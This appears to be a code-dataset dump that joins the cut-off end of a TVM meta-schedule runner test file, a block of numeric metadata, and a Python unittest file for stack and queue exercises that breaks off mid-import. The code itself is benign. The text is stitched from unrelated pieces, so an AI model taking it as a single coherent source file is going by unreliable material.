test_meta_schedule_runner_matmul_test(): """Test meta schedule runner with add module""" def _check_correct_matmul( args_before: List[np.ndarray], args_after: List[np.ndarray], ) -> None: a_before, b_before, c_before = args_before a_after, b_after, c_after = args_after c_before = np.matmul(a_before, b_before) assert (a_before == a_after).all() assert (b_before == b_after).all() tvm.testing.assert_allclose(c_before, c_after, rtol=1e-5) def test_alloc_argument( session: RPCSession, device: Device, args_info: Any, alloc_repeat: int, ) -> List[Any]: global repeated_args_before # pylint: disable=global-variable-undefined, invalid-name repeated_args_before = [] # type: ignore repeated_args = rpc_default_alloc_argument(session, device, args_info, alloc_repeat) for args in repeated_args: repeated_args_before.append([arg.numpy() for arg in args]) # type: ignore return repeated_args def test_run_evaluator( session: RPCSession, # pylint: disable=unused-argument rt_mod: Module, device: Device, evaluator_config: EvaluatorConfig, repeated_args: List[Any], ) -> List[float]: global repeated_args_before # pylint: disable=global-variable-undefined, invalid-name repeated_args_after = [] evaluator = rt_mod.time_evaluator( func_name=rt_mod.entry_name, dev=device, number=evaluator_config.number, repeat=evaluator_config.repeat, min_repeat_ms=evaluator_config.min_repeat_ms, f_preproc="cache_flush_cpu_non_first_arg" if evaluator_config.enable_cpu_cache_flush else "", ) repeated_costs: List[List[float]] = [] for args in repeated_args: device.sync() profile_result = evaluator(*args) repeated_costs.append(profile_result.results) repeated_args_after.append([arg.numpy() for arg in args]) costs = [float(cost) for cost in itertools.chain.from_iterable(repeated_costs)] for args_before, args_after in zip( repeated_args_before, # type: ignore repeated_args_after, ): _check_correct_matmul(args_before, args_after) del repeated_args_before # type: ignore return costs # Build the module mod = MatmulModule builder = LocalBuilder() (builder_result,) = builder.build([BuilderInput(mod, Target("llvm"))]) assert builder_result.artifact_path is not None assert builder_result.error_msg is None runner_input = RunnerInput( builder_result.artifact_path, "llvm", [ TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), TensorInfo("float32", (MATMUL_N, MATMUL_N)), ], ) with LocalRPC() as rpc: rpc_config = RPCConfig( tracker_host=rpc.tracker_host, tracker_port=rpc.tracker_port, tracker_key=rpc.tracker_key, session_priority=1, session_timeout_sec=100, ) evaluator_config = EvaluatorConfig( number=1, repeat=1, min_repeat_ms=0, enable_cpu_cache_flush=False, ) runner = RPCRunner( rpc_config, evaluator_config, f_alloc_argument=test_alloc_argument, f_run_evaluator=test_run_evaluator, ) # Run the module (runner_future,) = runner.run([runner_input]) runner_result = runner_future.result() assert runner_result.error_msg is None for result in runner_result.run_secs: if isinstance(result, FloatImm): result = result.value assert isinstance(result, float) assert result >= 0.0 _clean_build(builder_result.artifact_path) def test_meta_schedule_runner_add_test(): """Test meta schedule runner with add module""" def _check_correct_add(args_before: List[np.ndarray], args_after: List[np.ndarray]) -> None: a_before, b_before, c_before = args_before a_after, b_after, c_after = args_after c_before = a_before + b_before assert (a_before == a_after).all() assert (b_before == b_after).all() assert (c_before == c_after).all() def test_alloc_argument( session: RPCSession, device: Device, args_info: Any, alloc_repeat: int, ) -> List[Any]: global repeated_args_before # pylint: disable=global-variable-undefined, invalid-name repeated_args_before = [] # type: ignore repeated_args = rpc_default_alloc_argument( session, device, args_info, alloc_repeat, ) for args in repeated_args: repeated_args_before.append([arg.numpy() for arg in args]) # type: ignore return repeated_args def test_run_evaluator( session: RPCSession, # pylint: disable=unused-argument rt_mod: Module, device: Device, evaluator_config: EvaluatorConfig, repeated_args: List[Any], ) -> List[float]: global repeated_args_before # pylint: disable=global-variable-undefined, invalid-name repeated_args_after = [] evaluator = rt_mod.time_evaluator( func_name=rt_mod.entry_name, dev=device, number=evaluator_config.number, repeat=evaluator_config.repeat, min_repeat_ms=evaluator_config.min_repeat_ms, f_preproc="cache_flush_cpu_non_first_arg" if evaluator_config.enable_cpu_cache_flush else "", ) repeated_costs: List[List[float]] = [] for args in repeated_args: device.sync() profile_result = evaluator(*args) repeated_costs.append(profile_result.results) repeated_args_after.append([arg.numpy() for arg in args]) costs = [float(cost) for cost in itertools.chain.from_iterable(repeated_costs)] for args_before, args_after in zip( repeated_args_before, # type: ignore repeated_args_after, ): _check_correct_add(args_before, args_after) del repeated_args_before # type: ignore return costs # Build the module mod = AddModule builder = LocalBuilder() (builder_result,) = builder.build([BuilderInput(mod, Target("llvm"))]) assert builder_result.artifact_path is not None assert builder_result.error_msg is None runner_input = RunnerInput( builder_result.artifact_path, "llvm", [ TensorInfo("float32", [MATMUL_M]), TensorInfo("float32", [MATMUL_M]), TensorInfo("float32", [MATMUL_M]), ], ) with LocalRPC() as rpc: rpc_config = RPCConfig( tracker_host=rpc.tracker_host, tracker_port=rpc.tracker_port, tracker_key=rpc.tracker_key, session_priority=1, session_timeout_sec=100, ) evaluator_config = EvaluatorConfig( number=1, repeat=1, min_repeat_ms=0, enable_cpu_cache_flush=False, ) runner = RPCRunner( rpc_config, evaluator_config, f_alloc_argument=test_alloc_argument, f_run_evaluator=test_run_evaluator, ) # Run the module (runner_future,) = runner.run([runner_input]) runner_result = runner_future.result() assert runner_result.error_msg is None for result in runner_result.run_secs: if isinstance(result, FloatImm): result = result.value assert isinstance(result, float) assert result >= 0.0 _clean_build(builder_result.artifact_path) def test_meta_schedule_local_runner_add_test(): """Test meta schedule local runner with add module""" def _check_correct_add(args_before: List[np.array], args_after: List[np.array]) -> None: a_before, b_before, c_before = args_before a_after, b_after, c_after = args_after c_before = a_before + b_before assert (a_before == a_after).all() assert (b_before == b_after).all() assert (c_before == c_after).all() def test_alloc_argument( device: Device, args_info: T_ARG_INFO_JSON_OBJ_LIST, # pylint: disable=unused-argument alloc_repeat: int, ) -> List[T_ARGUMENT_LIST]: global repeated_args_before # pylint: disable=global-variable-undefined, invalid-name repeated_args_before = [] repeated_args = local_default_alloc_argument(device, args_info, alloc_repeat) for args in repeated_args: repeated_args_before.append([arg.asnumpy() for arg in args]) return repeated_args def test_run_evaluator( rt_mod: Module, device: Device, evaluator_config: EvaluatorConfig, repeated_args: List[Any], ) -> List[float]: global repeated_args_before # pylint: disable=global-variable-undefined, invalid-name repeated_args_after = [] evaluator = rt_mod.time_evaluator( func_name=rt_mod.entry_name, dev=device, number=evaluator_config.number, repeat=evaluator_config.repeat, min_repeat_ms=evaluator_config.min_repeat_ms, f_preproc="cache_flush_cpu_non_first_arg" if evaluator_config.enable_cpu_cache_flush else "", ) repeated_costs: List[List[float]] = [] for args in repeated_args: device.sync() profile_result = evaluator(*args) repeated_costs.append(profile_result.results) repeated_args_after.append([arg.asnumpy() for arg in args]) costs = [float(cost) for cost in itertools.chain.from_iterable(repeated_costs)] for args_before, args_after in zip(repeated_args_before, repeated_args_after): _check_correct_add(args_before, args_after) del repeated_args_before return costs # Build the module mod = AddModule builder = LocalBuilder() (builder_result,) = builder.build([BuilderInput(mod, Target("llvm"))]) assert builder_result.artifact_path is not None assert builder_result.error_msg is None runner_input = RunnerInput( builder_result.artifact_path, "llvm", [ TensorInfo("float32", [MATMUL_M]), TensorInfo("float32", [MATMUL_M]), TensorInfo("float32", [MATMUL_M]), ], ) evaluator_config = EvaluatorConfig( number=1, repeat=1, min_repeat_ms=0, enable_cpu_cache_flush=False, ) runner = LocalRunner( timeout_sec=100, evaluator_config=evaluator_config, f_alloc_argument=test_alloc_argument, f_run_evaluator=test_run_evaluator, ) # Run the module (runner_future,) = runner.run([runner_input]) runner_result = runner_future.result() assert runner_result.error_msg is None for result in runner_result.run_secs: if isinstance(result, FloatImm): result = result.value assert isinstance(result, float) assert result >= 0.0 _clean_build(builder_result.artifact_path) if __name__ == "__main__": tvm.testing.main()
34.425056
122
0.631629
3,700
30,776
4.984595
0.080811
0.02543
0.048636
0.042943
0.889064
0.872851
0.851814
0.83468
0.827306
0.827306
0
0.013426
0.271543
30,776
893
123
34.463606
0.809224
0.091987
0
0.748327
0
0
0.044155
0.014131
0
0
0
0
0.074967
1
0.046854
false
0
0.029451
0
0.091031
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a7b422451c4558bb2f41b2792728165cbd73b5a7
32,981
py
Python
py/tests/problems/stack_queue_test.py
bmoretz/Daily-Coding-Problem
f79e062e9f6e7b18b7e95c071fbe71ad104affcb
[ "MIT" ]
1
2020-06-26T13:28:43.000Z
2020-06-26T13:28:43.000Z
py/tests/problems/stack_queue_test.py
bmoretz/Daily-Coding-Problem
f79e062e9f6e7b18b7e95c071fbe71ad104affcb
[ "MIT" ]
7
2021-11-18T19:46:08.000Z
2022-03-12T01:03:01.000Z
py/tests/problems/stack_queue_test.py
bmoretz/Daily-Coding-Problem
f79e062e9f6e7b18b7e95c071fbe71ad104affcb
[ "MIT" ]
null
null
null
import unittest from problems.stack_queue import Stack class Test_Stack(unittest.TestCase): def setUp(self): pass def test_case1(self): stack = Stack() assert stack.is_empty() == True assert stack.pop() == None def test_case2(self): stack = Stack() assert stack.is_empty() == True stack.push(2) assert stack.is_empty() == False assert stack.peek() == 2 stack.push(3) assert stack.is_empty() == False assert stack.peek() == 3 stack.push(5) assert stack.is_empty() == False assert stack.peek() == 5 stack.push(1) assert stack.is_empty() == False assert stack.peek() == 1 stack.push(4) assert stack.is_empty() == False assert stack.peek() == 4 def test_case3(self): stack = Stack() stack.push(4) stack.push(2) stack.push(-1) stack.push(5) stack.push(2) stack.push(0) assert stack.is_empty() == False assert stack.peek() == 0 assert stack.pop() == 0 assert stack.peek() == 2 assert stack.pop() == 2 assert stack.peek() == 5 assert stack.pop() == 5 assert stack.peek() == -1 assert stack.pop() == -1 assert stack.peek() == 2 assert stack.pop() == 2 assert stack.peek() == 4 assert stack.pop() == 4 assert stack.is_empty() == True def test_case4(self): stack = Stack() stack.push(4) stack.push(2) stack.push(-1) assert stack.is_empty() == False assert stack.peek() == -1 stack.push(5) assert stack.peek() == 5 stack.push(2) assert stack.peek() == 2 stack.push(0) assert stack.peek() == 0 assert stack.pop() == 0 assert stack.pop() == 2 assert stack.pop() == 5 assert stack.peek() == -1 assert stack.pop() == -1 assert stack.pop() == 2 assert stack.pop() == 4 assert stack.is_empty() == True def test_case5(self): stack = Stack() stack.push(4) assert stack.is_empty() == False assert stack.peek() == 4 assert stack.pop() == 4 assert stack.is_empty() == True stack.push(2) stack.push(-1) stack.push(5) assert stack.is_empty() == False assert stack.peek() == 5 assert stack.pop() == 5 assert stack.peek() == -1 assert stack.pop() == -1 assert stack.peek() == 2 assert stack.pop() == 2 assert stack.is_empty() == True stack.push(2) stack.push(0) assert stack.is_empty() == False assert stack.pop() == 0 assert stack.pop() == 2 assert stack.is_empty() == True from problems.stack_queue import Queue class Test_Queue(unittest.TestCase): def setUp(self): pass def test_case1(self): queue = Queue() queue.enqueue(1) assert queue.dequeue() == 1 assert queue.is_empty() == True queue.enqueue(2) assert queue.peek() == 2 queue.enqueue(3) assert queue.peek() == 2 queue.enqueue(4) assert queue.peek() == 2 queue.enqueue(5) assert queue.peek() == 2 assert queue.is_empty() == False def test_case2(self): queue = Queue() assert queue.is_empty() == True queue.enqueue(1) assert queue.peek() == 1 queue.enqueue(2) assert queue.peek() == 1 queue.enqueue(3) assert queue.is_empty() == False assert queue.peek() == 1 assert queue.dequeue() == 1 assert queue.peek() == 2 assert queue.dequeue() == 2 assert queue.peek() == 3 assert queue.dequeue() == 3 assert queue.is_empty() == True def test_case3(self): queue = Queue() assert queue.peek() == None assert queue.dequeue() == None queue.enqueue(1) queue.enqueue(2) queue.enqueue(3) queue.enqueue(4) queue.enqueue(5) assert queue.peek() == 1 assert queue.dequeue() == 1 assert queue.peek() == 2 assert queue.dequeue() == 2 assert queue.peek() == 3 assert queue.dequeue() == 3 queue.enqueue(2) assert queue.peek() == 4 assert queue.dequeue() == 4 assert queue.peek() == 5 assert queue.dequeue() == 5 assert queue.peek() == 2 assert queue.dequeue() == 2 assert queue.is_empty() == True def test_case4(self): queue = Queue() queue.enqueue(1) queue.enqueue(2) queue.enqueue(3) assert queue.peek() == 1 assert queue.dequeue() == 1 assert queue.peek() == 2 assert queue.dequeue() == 2 queue.enqueue(4) assert queue.peek() == 3 queue.enqueue(5) assert queue.peek() == 3 assert queue.dequeue() == 3 assert queue.peek() == 4 assert queue.dequeue() == 4 assert queue.dequeue() == 5 assert queue.is_empty() == True def test_case6(self): queue = Queue() assert queue.is_empty() == True queue.enqueue(2) assert queue.is_empty() == False assert queue.peek() == 2 queue.enqueue(3) assert queue.is_empty() == False assert queue.peek() == 2 queue.enqueue(5) assert queue.is_empty() == False assert queue.peek() == 2 queue.enqueue(1) assert queue.is_empty() == False assert queue.peek() == 2 queue.enqueue(4) assert queue.is_empty() == False assert queue.peek() == 2 from problems.stack_queue import MaxStack class Test_MaxStack(unittest.TestCase): def setUp(self): pass def test_case1(self): s = MaxStack() for i in [2, 3, 5, 1, 4]: s.push(i) assert s.max() == 5 from problems.stack_queue import bracket_balanced1 class Test_BracketBalanced1(unittest.TestCase): def setUp(self): pass def test_case1(self): assert bracket_balanced1("([])[]({})") == True def test_case2(self): assert bracket_balanced1("}") == False def test_case3(self): assert bracket_balanced1("([)]") == False def test_case4(self): assert bracket_balanced1("((()") == False from problems.stack_queue import bracket_balanced2 class Test_BracketBalanced2(unittest.TestCase): def setUp(self): pass def test_case1(self): assert bracket_balanced2("([])[]({})") == True def test_case2(self): assert bracket_balanced2("}") == False def test_case3(self): assert bracket_balanced2("([)]") == False def test_case4(self): assert bracket_balanced2("((()") == False from problems.stack_queue import max_subarray1 class Test_MaxSub1(unittest.TestCase): def setUp(self): pass def test_case1(self): arr, k = [10, 5, 2, 7, 8, 7], 3 assert max_subarray1(arr, k) == [10, 7, 8, 8] def test_case2(self): arr, k = [1, 2, 3, 4, 5, 6, 7, 8, 9], 3 assert max_subarray1(arr, k) == [3, 4, 5, 6, 7, 8, 9] from problems.stack_queue import max_subarray2 class Test_MaxSub2(unittest.TestCase): def setUp(self): pass def test_case1(self): arr, k = [10, 5, 2, 7, 8, 7], 3 assert max_subarray2(arr, k) == [10, 7, 8, 8] def test_case2(self): arr, k = [1, 2, 3, 4, 5, 6, 7, 8, 9], 3 assert max_subarray2(arr, k) == [3, 4, 5, 6, 7, 8, 9] from problems.stack_queue import max_subarray3 class Test_MaxSub3(unittest.TestCase): def setUp(self): pass def test_case1(self): arr, k = [10, 5, 2, 7, 8, 7], 3 assert max_subarray3(arr, k) == [10, 7, 8, 8] def test_case2(self): arr, k = [1, 2, 3, 4, 5, 6, 7, 8, 9], 3 assert max_subarray3(arr, k) == [3, 4, 5, 6, 7, 8, 9] from problems.stack_queue import nstack1 class Test_Tristack1(unittest.TestCase): def setUp(self): pass def test_case1(self): stack = nstack1() assert stack.is_empty(0) == True assert stack.is_empty(1) == True assert stack.is_empty(2) == True assert stack.peek(0) == None assert stack.peek(1) == None assert stack.peek(2) == None assert stack.data == [] def test_case2(self): stack = nstack1() assert stack.is_empty(0) == True assert stack.is_empty(1) == True assert stack.peek(0) == None stack.push(0, "A") assert stack.pop(0) == "A" assert stack.is_empty(0) == True stack.push(1, "B") stack.push(0, "A") assert stack.is_empty(1) == False assert stack.peek(0) == "A" assert stack.peek(1) == "B" assert stack.is_empty(2) == True stack.push(0, "D") stack.push(1, "B") stack.push(2, "C") assert stack.peek(2) == "C" assert stack.pop(2) == "C" stack.push(0, "D") assert stack.pop(0) == "D" assert len(stack.data) == 6 def test_case3(self): stack = nstack1() stack.push(0, 'A') stack.push(0, 'B') stack.push(0, 'C') assert stack.pop(0) == "C" assert stack.pop(0) == "B" assert stack.pop(0) == "A" assert stack.is_empty(0) assert stack.data == [] def test_case4(self): stack = nstack1(3) stack.push(0, 'A') stack.push(1, 'B') stack.push(2, 'C') stack.push(0, 'B') assert stack.pop(0) == 'B' assert stack.data == ['A', 'B', 'C'] def test_case5(self): stack = nstack1() stack.push(0, 'A') stack.push(0, 'A') stack.push(0, 'A') stack.push(1, 'B') stack.push(2, 'C') stack.push(0, 'A') assert stack.pop(0) == 'A' assert stack.pop(1) == 'B' assert stack.pop(2) == 'C' assert stack.pop(0) == 'A' assert stack.pop(0) == 'A' assert stack.pop(0) == 'A' assert stack.is_empty(0) assert stack.is_empty(1) assert stack.is_empty(2) assert stack.data == [] from problems.stack_queue import nstack2 class Test_Tristack2(unittest.TestCase): def setUp(self): pass def test_case1(self): stack = nstack2() assert stack.is_empty(0) == True assert stack.is_empty(1) == True assert stack.is_empty(2) == True assert stack.peek(0) == None assert stack.peek(1) == None assert stack.peek(2) == None assert stack.data == [] def test_case2(self): stack = nstack2() assert stack.is_empty(0) == True assert stack.is_empty(1) == True assert stack.peek(0) == None stack.push(0, "A") assert stack.pop(0) == "A" assert stack.is_empty(0) == True stack.push(1, "B") stack.push(0, "A") assert stack.is_empty(1) == False assert stack.peek(0) == "A" assert stack.peek(1) == "B" assert stack.is_empty(2) == True stack.push(0, "D") stack.push(1, "B") stack.push(2, "C") assert stack.peek(2) == "C" assert stack.pop(2) == "C" stack.push(0, "D") assert stack.pop(0) == "D" def test_case3(self): stack = nstack2() stack.push(0, 'A') stack.push(0, 'B') stack.push(0, 'C') assert stack.pop(0) == "C" assert stack.pop(0) == "B" assert stack.pop(0) == "A" assert stack.is_empty(0) assert stack.data == [] def test_case4(self): stack = nstack2(3) stack.push(0, 'A') stack.push(1, 'B') stack.push(2, 'C') stack.push(0, 'B') assert stack.pop(0) == 'B' def test_case5(self): stack = nstack2() stack.push(0, 'A') stack.push(0, 'A') stack.push(0, 'A') stack.push(1, 'B') stack.push(2, 'C') stack.push(0, 'A') assert stack.pop(0) == 'A' assert stack.pop(1) == 'B' assert stack.pop(2) == 'C' assert stack.pop(0) == 'A' assert stack.pop(0) == 'A' assert stack.pop(0) == 'A' assert stack.is_empty(0) assert stack.is_empty(1) assert stack.data == [] from problems.stack_queue import minstack class Test_MinStack(unittest.TestCase): def setUp(self): pass def test_case1(self): stack = minstack() assert stack.is_empty() == True assert stack.peek() == None assert stack.min() == None stack.push(0) assert stack.is_empty() == False assert stack.min() == 0 assert stack.peek() == 0 assert stack.pop() == 0 assert stack.is_empty() def test_case2(self): stack = minstack() stack.push(0) stack.push(1) stack.push(2) stack.push(3) assert stack.is_empty() == False assert stack.min() == 0 assert stack.peek() == 3 assert stack.pop() == 3 assert stack.min() == 0 assert stack.pop() == 2 assert stack.min() == 0 assert stack.pop() == 1 assert stack.min() == 0 assert stack.pop() == 0 assert stack.is_empty() == True def test_case3(self): stack = minstack() stack.push(4) stack.push(3) stack.push(2) stack.push(1) stack.push(0) assert stack.is_empty() == False assert stack.min() == 0 assert stack.peek() == 0 assert stack.pop() == 0 assert stack.pop() == 1 assert stack.pop() == 2 assert stack.pop() == 3 assert stack.pop() == 4 def test_case4(self): stack = minstack() stack.push(4) stack.push(2) stack.push(-1) stack.push(5) stack.push(2) stack.push(0) assert stack.is_empty() == False assert stack.min() == -1 assert stack.peek() == 0 assert stack.pop() == 0 assert stack.min() == -1 assert stack.pop() == 2 assert stack.min() == -1 assert stack.pop() == 5 assert stack.min() == -1 assert stack.pop() == -1 assert stack.min() == 2 assert stack.pop() == 2 assert stack.min() == 4 assert stack.pop() == 4 assert stack.is_empty() == True def test_case5(self): stack = minstack() stack.push(4) stack.push(2) stack.push(-1) stack.push(5) stack.push(2) stack.push(0) assert stack.is_empty() == False assert stack.min() == -1 assert stack.peek() == 0 assert stack.pop() == 0 assert stack.min() == -1 assert stack.pop() == 2 assert stack.min() == -1 assert stack.pop() == 5 assert stack.min() == -1 assert stack.pop() == -1 assert stack.min() == 2 assert stack.pop() == 2 assert stack.min() == 4 assert stack.pop() == 4 assert stack.is_empty() == True from problems.stack_queue import set_stack1 class Test_StackOfStacks1(unittest.TestCase): def setUp(self): pass def test_case1(self): stack = set_stack1(3) stack.push(4) stack.push(2) stack.push(-1) stack.push(5) stack.push(2) stack.push(0) assert stack.is_empty() == False assert stack.peek() == 0 assert stack.pop() == 0 assert stack.peek() == 2 assert stack.pop() == 2 assert stack.peek() == 5 assert stack.pop() == 5 assert stack.peek() == -1 assert stack.pop() == -1 assert stack.peek() == 2 assert stack.pop() == 2 assert stack.peek() == 4 assert stack.pop() == 4 assert stack.is_empty() == True def test_case2(self): stack = set_stack1(3) stack.push(4) stack.push(2) stack.push(-1) stack.push(5) stack.push(2) stack.push(0) assert stack.is_empty() == False assert stack.pop_at(1) == -1 assert stack.pop_at(1) == 2 assert stack.pop_at(1) == 4 assert stack.pop_at(1) == None assert stack.pop() == 0 assert stack.pop() == 2 assert stack.pop() == 5 def test_case3(self): stack = set_stack1(3) stack.push(4) stack.push(2) stack.push(-1) stack.push(5) stack.push(2) stack.push(0) assert stack.is_empty() == False assert stack.pop_at(1) == -1 assert stack.pop() == 0 assert stack.pop() == 2 assert stack.pop() == 5 assert stack.pop() == 2 assert stack.pop() == 4 assert stack.pop_at(1) == None def test_case4(self): stack = set_stack1(3) stack.push(4) stack.push(2) stack.push(-1) stack.push(5) stack.push(2) stack.push(0) assert stack.is_empty() == False assert stack.pop_at(1) == -1 assert stack.pop_at(1) == 2 assert stack.pop() == 0 assert stack.pop() == 2 assert stack.pop() == 5 assert stack.pop() == 4 assert stack.pop_at(1) == None def test_case5(self): stack = set_stack1(3) stack.push(4) stack.push(2) stack.push(-1) stack.push(5) stack.push(2) stack.push(0) stack.push(3) stack.push(8) stack.push(7) assert stack.is_empty() == False assert stack.pop_at(1) == 0 assert stack.pop_at(2) == 2 assert stack.pop() == 7 assert stack.pop_at(2) == None assert stack.pop_at(1) == 5 assert stack.pop() == 8 assert stack.pop_at(1) == 4 assert stack.pop() == 3 assert stack.pop() == 2 assert stack.pop() == -1 assert stack.pop_at(1) == None from problems.stack_queue import set_stack2 class Test_StackOfStacks2(unittest.TestCase): def setUp(self): pass def test_case1(self): stack = set_stack2(3) stack.push(4) stack.push(2) stack.push(-1) stack.push(5) stack.push(2) stack.push(0) assert stack.is_empty() == False assert stack.peek() == 0 assert stack.pop() == 0 assert stack.peek() == 2 assert stack.pop() == 2 assert stack.peek() == 5 assert stack.pop() == 5 assert stack.peek() == -1 assert stack.pop() == -1 assert stack.peek() == 2 assert stack.pop() == 2 assert stack.peek() == 4 assert stack.pop() == 4 assert stack.is_empty() == True def test_case2(self): stack = set_stack2(3) stack.push(4) stack.push(2) stack.push(-1) stack.push(5) stack.push(2) stack.push(0) assert stack.is_empty() == False assert stack.pop_at(1) == -1 assert stack.pop_at(1) == 2 assert stack.pop_at(1) == 4 assert stack.pop_at(1) == None assert stack.pop() == 0 assert stack.pop() == 2 assert stack.pop() == 5 def test_case3(self): stack = set_stack2(3) stack.push(4) stack.push(2) stack.push(-1) stack.push(5) stack.push(2) stack.push(0) assert stack.is_empty() == False assert stack.pop_at(1) == -1 assert stack.pop() == 0 assert stack.pop() == 2 assert stack.pop() == 5 assert stack.pop() == 2 assert stack.pop() == 4 assert stack.pop_at(1) == None def test_case4(self): stack = set_stack2(3) stack.push(4) stack.push(2) stack.push(-1) stack.push(5) stack.push(2) stack.push(0) assert stack.is_empty() == False assert stack.pop_at(1) == -1 assert stack.pop_at(1) == 2 assert stack.pop() == 0 assert stack.pop() == 2 assert stack.pop() == 5 assert stack.pop() == 4 assert stack.pop_at(1) == None def test_case5(self): stack = set_stack2(3) stack.push(4) stack.push(2) stack.push(-1) stack.push(5) stack.push(2) stack.push(0) stack.push(3) stack.push(8) stack.push(7) assert stack.is_empty() == False assert stack.pop_at(1) == 0 assert stack.pop_at(2) == 2 assert stack.pop() == 7 assert stack.pop_at(2) == None assert stack.pop_at(1) == 5 assert stack.pop() == 8 assert stack.pop_at(1) == 4 assert stack.pop() == 3 assert stack.pop() == 2 assert stack.pop() == -1 assert stack.pop_at(1) == None from problems.stack_queue import my_queue1 class Test_MyQueue1(unittest.TestCase): def setUp(self): pass def test_case1(self): queue = my_queue1() queue.enqueue(1) assert queue.dequeue() == 1 assert queue.is_empty() == True queue.enqueue(2) assert queue.peek() == 2 queue.enqueue(3) assert queue.peek() == 2 queue.enqueue(4) assert queue.peek() == 2 queue.enqueue(5) assert queue.peek() == 2 assert queue.is_empty() == False def test_case2(self): queue = my_queue1() assert queue.is_empty() == True queue.enqueue(1) assert queue.peek() == 1 queue.enqueue(2) assert queue.peek() == 1 queue.enqueue(3) assert queue.is_empty() == False assert queue.peek() == 1 assert queue.dequeue() == 1 assert queue.peek() == 2 assert queue.dequeue() == 2 assert queue.peek() == 3 assert queue.dequeue() == 3 assert queue.is_empty() == True def test_case3(self): queue = my_queue1() assert queue.peek() == None assert queue.dequeue() == None queue.enqueue(1) queue.enqueue(2) queue.enqueue(3) queue.enqueue(4) queue.enqueue(5) assert queue.peek() == 1 assert queue.dequeue() == 1 assert queue.peek() == 2 assert queue.dequeue() == 2 assert queue.peek() == 3 assert queue.dequeue() == 3 queue.enqueue(2) assert queue.peek() == 4 assert queue.dequeue() == 4 assert queue.peek() == 5 assert queue.dequeue() == 5 assert queue.peek() == 2 assert queue.dequeue() == 2 assert queue.is_empty() == True def test_case4(self): queue = my_queue1() queue.enqueue(1) queue.enqueue(2) queue.enqueue(3) assert queue.peek() == 1 assert queue.dequeue() == 1 assert queue.peek() == 2 assert queue.dequeue() == 2 queue.enqueue(4) assert queue.peek() == 3 queue.enqueue(5) assert queue.peek() == 3 assert queue.dequeue() == 3 assert queue.peek() == 4 assert queue.dequeue() == 4 assert queue.dequeue() == 5 assert queue.is_empty() == True def test_case5(self): queue = my_queue1() assert queue.is_empty() queue.enqueue(1) queue.enqueue(2) queue.enqueue(3) queue.enqueue(4) queue.enqueue(5) assert queue.peek() == 1 assert queue.dequeue() == 1 assert queue.peek() == 2 assert queue.dequeue() == 2 assert queue.peek() == 3 assert queue.dequeue() == 3 queue.enqueue(6) queue.enqueue(7) queue.enqueue(8) assert queue.peek() == 4 assert queue.dequeue() == 4 assert queue.peek() == 5 assert queue.dequeue() == 5 assert queue.peek() == 6 assert queue.dequeue() == 6 assert queue.peek() == 7 assert queue.dequeue() == 7 assert queue.peek() == 8 assert queue.dequeue() == 8 assert queue.is_empty() from problems.stack_queue import sort_stack1 class Test_SortStack1(unittest.TestCase): def setUp(self): pass def test_case1(self): data = Stack() data.push(2) data.push(3) data.push(5) data.push(1) data.push(4) result = sort_stack1(data) assert result.pop() == 1 assert result.pop() == 2 assert result.pop() == 3 assert result.pop() == 4 assert result.pop() == 5 assert result.is_empty() == True def test_case2(self): data = Stack() data.push(5) data.push(4) data.push(3) data.push(2) data.push(1) result = sort_stack1(data) assert result.pop() == 1 assert result.pop() == 2 assert result.pop() == 3 assert result.pop() == 4 assert result.pop() == 5 assert result.is_empty() == True def test_case3(self): data = Stack() data.push(-2) data.push(-3) data.push(-5) data.push(-1) data.push(-4) result = sort_stack1(data) assert result.pop() == -5 assert result.pop() == -4 assert result.pop() == -3 assert result.pop() == -2 assert result.pop() == -1 assert result.is_empty() == True def test_case4(self): data = Stack() data.push(1) data.push(2) data.push(3) data.push(4) data.push(5) result = sort_stack1(data) assert result.pop() == 1 assert result.pop() == 2 assert result.pop() == 3 assert result.pop() == 4 assert result.pop() == 5 assert result.is_empty() == True from problems.stack_queue import Animal, Species from problems.stack_queue import AnimalShelter1 class Test_AnimalShelter1(unittest.TestCase): def setUp(self): pass def test_case1(self): shelter = AnimalShelter1() assert shelter.dequeue_any() == None assert shelter.dequeue_cat() == None assert shelter.dequeue_dog() == None def test_case2(self): shelter = AnimalShelter1() shelter.enqueue(Animal("Burt", Species.Dog)) shelter.enqueue(Animal("Ernie", Species.Dog)) shelter.enqueue(Animal("Garfield", Species.Cat)) shelter.enqueue(Animal("Whiskers", Species.Cat)) shelter.enqueue(Animal("Angus", Species.Dog)) adopt1 = shelter.dequeue_any() assert adopt1.name == "Burt" and adopt1.species == Species.Dog adopt2 = shelter.dequeue_cat() assert adopt2.name == "Garfield" and adopt2.species == Species.Cat adopt3 = shelter.dequeue_dog() assert adopt3.name == "Ernie" and adopt3.species == Species.Dog adopt4 = shelter.dequeue_any() assert adopt4.name == "Whiskers" and adopt4.species == Species.Cat adopt5 = shelter.dequeue_cat() assert adopt5 == None adopt6 = shelter.dequeue_dog() assert adopt6.name == "Angus" and adopt6.species == Species.Dog def test_case3(self): shelter = AnimalShelter1() assert shelter.dequeue_any() == None shelter.enqueue(Animal("Burt", Species.Dog)) shelter.enqueue(Animal("Ernie", Species.Dog)) adopt1 = shelter.dequeue_any() assert adopt1.name == "Burt" and adopt1.species == Species.Dog assert shelter.dequeue_cat() == None adopt2 = shelter.dequeue_any() assert adopt2.name == "Ernie" and adopt2.species == Species.Dog assert shelter.dequeue_any() == None def test_case4(self): shelter = AnimalShelter1() assert shelter.dequeue_any() == None shelter.enqueue(Animal("Burt", Species.Dog)) shelter.enqueue(Animal("Ernie", Species.Dog)) shelter.enqueue(Animal("Angus", Species.Dog)) shelter.enqueue(Animal("Garfield", Species.Cat)) shelter.enqueue(Animal("Whiskers", Species.Cat)) shelter.enqueue(Animal("Grumpy", Species.Cat)) adopt1 = shelter.dequeue_cat() assert adopt1.name == "Garfield" and adopt1.species == Species.Cat adopt2 = shelter.dequeue_cat() assert adopt2.name == "Whiskers" and adopt2.species == Species.Cat adopt3 = shelter.dequeue_cat() assert adopt3.name == "Grumpy" and adopt3.species == Species.Cat assert shelter.dequeue_cat() == None adopt4 = shelter.dequeue_dog() assert adopt4.name == "Burt" and adopt4.species == Species.Dog adopt5 = shelter.dequeue_dog() assert adopt5.name == "Ernie" and adopt5.species == Species.Dog adopt6 = shelter.dequeue_dog() assert adopt6.name == "Angus" and adopt6.species == Species.Dog assert shelter.dequeue_cat() == None assert shelter.dequeue_dog() == None assert shelter.dequeue_any() == None from problems.stack_queue 